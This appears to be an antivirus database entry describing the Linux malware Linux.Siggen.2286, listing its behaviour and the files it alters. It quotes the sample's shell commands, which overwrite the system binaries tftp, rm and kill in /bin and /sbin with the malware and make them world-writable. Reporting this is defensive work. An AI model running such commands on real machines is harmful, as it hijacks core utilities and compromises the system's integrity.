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Linux.Siggen.2286
Added to the Dr.Web virus database:
2019-10-27
Virus description added:
2019-10-27
Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
iTJ1LzhTPUm4QrS4Qhi1232TmZdLZm1Q
Launches processes:
sh -c cd /bin/; cat tftp > tftp-cpy; >tftp; cat <SAMPLE_FULL_PATH> > tftp; chmod 777tftp
cat tftp
cat <SAMPLE_FULL_PATH>
chmod 777tftp
sh -c cd /bin/; cat rm > rm-cpy; >rm; cat <SAMPLE_FULL_PATH> > rm; chmod 777rm
cat rm
chmod 777rm
sh -c cd /bin/; cat kill > kill-cpy; >kill; cat <SAMPLE_FULL_PATH> > kill; chmod 777kill
cat kill
chmod 777kill
sh -c cd /sbin/; cat tftp > tftp-cpy; >tftp; cat <SAMPLE_FULL_PATH> > tftp; chmod 777tftp
sh -c cd /sbin/; cat rm > rm-cpy; >rm; cat <SAMPLE_FULL_PATH> > rm; chmod 777rm
sh -c cd /sbin/; cat kill > kill-cpy; >kill; cat <SAMPLE_FULL_PATH> > kill; chmod 777kill
Performs operations with the file system:
Creates or modifies files:
/bin/tftp-cpy
/bin/tftp
/bin/rm-cpy
/bin/rm
/bin/kill-cpy
/bin/kill
/sbin/tftp-cpy
/sbin/tftp
/sbin/rm-cpy
/sbin/rm
/sbin/kill-cpy
/sbin/kill
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